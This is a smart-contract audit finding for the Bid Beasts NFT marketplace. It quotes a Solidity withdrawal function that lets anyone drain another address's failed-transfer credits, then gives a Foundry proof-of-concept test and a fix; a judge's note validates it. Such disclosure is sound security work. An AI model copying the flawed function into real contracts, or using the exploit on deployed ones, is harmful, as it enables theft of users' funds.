Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

[M-02] Missing access control in `withdrawAllFailedCredits`

Root + Impact

Description

The withdrawAllFailedCredits function allows any user to attempt withdrawal for any address, violating access control principles by accepting any address as the _receiver parameter without authorization checks.

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver]; // Reads any address
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0; // Clears caller's credits
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood: High - any user can call with any address
Impact: Medium - access control violation, privacy concerns

Proof of Concept

Any user can attempt withdrawal for any address without authorization:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test} from "forge-std/Test.sol";
import {BidBeastsNFTMarketPlace} from "../src/BidBeastsNFTMarketPlace.sol";
import {BidBeasts_NFT_ERC721} from "../src/BidBeasts_NFT_ERC721.sol";
contract AccessControlTest is Test {
BidBeastsNFTMarketPlace marketplace;
BidBeasts_NFT_ERC721 nft;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
function setUp() public {
nft = new BidBeasts_NFT_ERC721();
marketplace = new BidBeastsNFTMarketPlace(address(nft));
nft.mint(alice, 1);
vm.prank(alice);
nft.approve(address(marketplace), 1);
vm.prank(alice);
marketplace.listNFT(1, 1 ether, 2 ether);
vm.deal(bob, 1.5 ether);
vm.prank(bob);
marketplace.placeBid{value: 1.5 ether}(1);
vm.warp(block.timestamp + 2 days);
vm.prank(bob);
marketplace.endAuction(1);
}
function testUnauthorizedAccess() public {
// Any user can attempt withdrawal for any address
vm.prank(alice);
marketplace.withdrawAllFailedCredits(bob);
}
}

Recommended Mitigation

Remove address parameter to restrict access to caller's credits only.

function withdrawAllFailedCredits() external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!